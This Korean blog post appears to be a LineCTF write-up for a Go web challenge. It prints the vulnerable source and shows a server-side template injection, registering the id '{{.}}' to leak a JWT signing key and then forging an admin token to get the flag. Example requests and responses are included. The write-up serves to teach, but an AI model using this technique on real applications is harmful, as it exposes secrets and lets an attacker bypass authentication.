글 작성자: heogi

- Description

 

Go로 작성된 웹이다.

 

- Source code

......

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

type AccountClaims struct {
	Id       string `json:"id"`
	Is_admin bool   `json:"is_admin"`
	jwt.StandardClaims
}
......

var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")

......


func jwt_encode(id string, is_admin bool) (string, error) {
	claims := AccountClaims{
		id, is_admin, jwt.StandardClaims{},
	}
	token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	return token.SignedString([]byte(secret_key))
}

func jwt_decode(s string) (string, bool) {
	token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
		return []byte(secret_key), nil
	})
	if err != nil {
		fmt.Println(err)
		return "", false
	}
	if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
		return claims.Id, claims.Is_admin
	}
	return "", false
}

func auth_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")
	if uid == "" || upw == "" {
		return
	}
	if len(acc) > 1024 {
		clear_account()
	}
	user_acc := get_account(uid)
	if user_acc.id != "" && user_acc.pw == upw {
		token, err := jwt_encode(user_acc.id, user_acc.is_admin)
		if err != nil {
			return
		}
		p := TokenResp{true, token}
		res, err := json.Marshal(p)
		if err != nil {
		}
		w.Write(res)
		return
	}
	w.WriteHeader(http.StatusForbidden)
	return
}

func regist_handler(w http.ResponseWriter, r *http.Request) {
	uid := r.FormValue("id")
	upw := r.FormValue("pw")

	if uid == "" || upw == "" {
		return
	}

	if get_account(uid).id != "" {
		w.WriteHeader(http.StatusForbidden)
		return
	}
	if len(acc) > 4 {
		clear_account()
	}
	new_acc := Account{uid, upw, false, secret_key}
	acc = append(acc, new_acc)

	p := Resp{true, ""}
	res, err := json.Marshal(p)
	if err != nil {
	}
	w.Write(res)
	return
}

func flag_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, is_admin := jwt_decode(token)
		if is_admin == true {
			p := Resp{true, "Hi " + id + ", flag is " + flag}
			res, err := json.Marshal(p)
			if err != nil {
			}
			w.Write(res)
			return
		} else {
			w.WriteHeader(http.StatusForbidden)
			return
		}
	}
}

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}
......

 

페이지는 4개의 페이지로 구성되어있다.

 

- regist : 등록

- auth : 인증

- flag : 플래그 출력

- / : 로그인 계정 확인

 

regist 페이지에서 id를 등록하고 auth 페이지에서 인증을 진행하면 token 값을 반환한다.

 

http://34.146.226.125/regist?id=heogi&pw=123
//response : {"status":true,"msg":""}

http://34.146.226.125/auth?id=heogi&pw=123
//response : {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imhlb2dpIiwiaXNfYWRtaW4iOmZhbHNlfQ.XnV9-V7ucNruWifi21aUpSxxmnzpXprlMnFucmaX1cE"}

 

인증은 JWT를 사용하고있어서 JWT를 decode 해보면 is_admin이 false로 설정되어있다.

 

flag 페이지에서 is_admin이 true인 경우에 flag를 출력해주고있다.

is_admin을 true로 변경하는것이 목표라 할 수 있겠다.

 

- Solve

root 페이지의 SSTI 취약점을 이용해 문제를 풀 수 있다.

(처음엔 소스코드에서 사용중인 jwt-go의 github에서 취약점을 찾아보았다ㅠ)

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		acc := get_account(id)
		tpl, err := template.New("").Parse("Logged in as " + acc.id) // SSTI 취약
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

 

go의 template을 통해 Login한 ID를 출력해주고 있다.

 

go의 SSTI로 검색을 해보면 아래와 같은 페이로드를 확인 할 수 있다.

{{.}}
참고 : http://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html

해당 페이로드를 regist 페이지에서 id로 입력하여 SSTI를 트리거 할 수 있다.

http://34.146.226.125/regist?id={{.}}&pw=123
//response : {"status":true,"msg":""}

http://34.146.226.125/auth?id={{.}}&pw=123
// response : {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM"}

http://34.146.226.125/ (with X-Token header)
// response : Logged in as {{{.}} 123 false fasdf972u1031xu90zm10Av}

root 페이지에서 반환된 구조는 Account 구조이다.

 

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

 

secret_key 값을 leak 하였으니 이제 JWT 토큰을 마음대로 생성할 수 있다.

is_admin을 true로 만들어서 secretu_key를 이용해 JWT 토큰을 생성하여 flag 페이지에 인증을 하면
flag 값을 획득 할 수 있다.

 

 

 

'🛡️CTF > LineCTF' 카테고리의 다른 글

LineCTF(2023) - Adult Simple GoCurl  (0) 2023.08.13
LineCTF(2023) - Baby Simple GoCurl  (0) 2023.08.13
LineCTF 2022 - memo drive  (0) 2022.04.13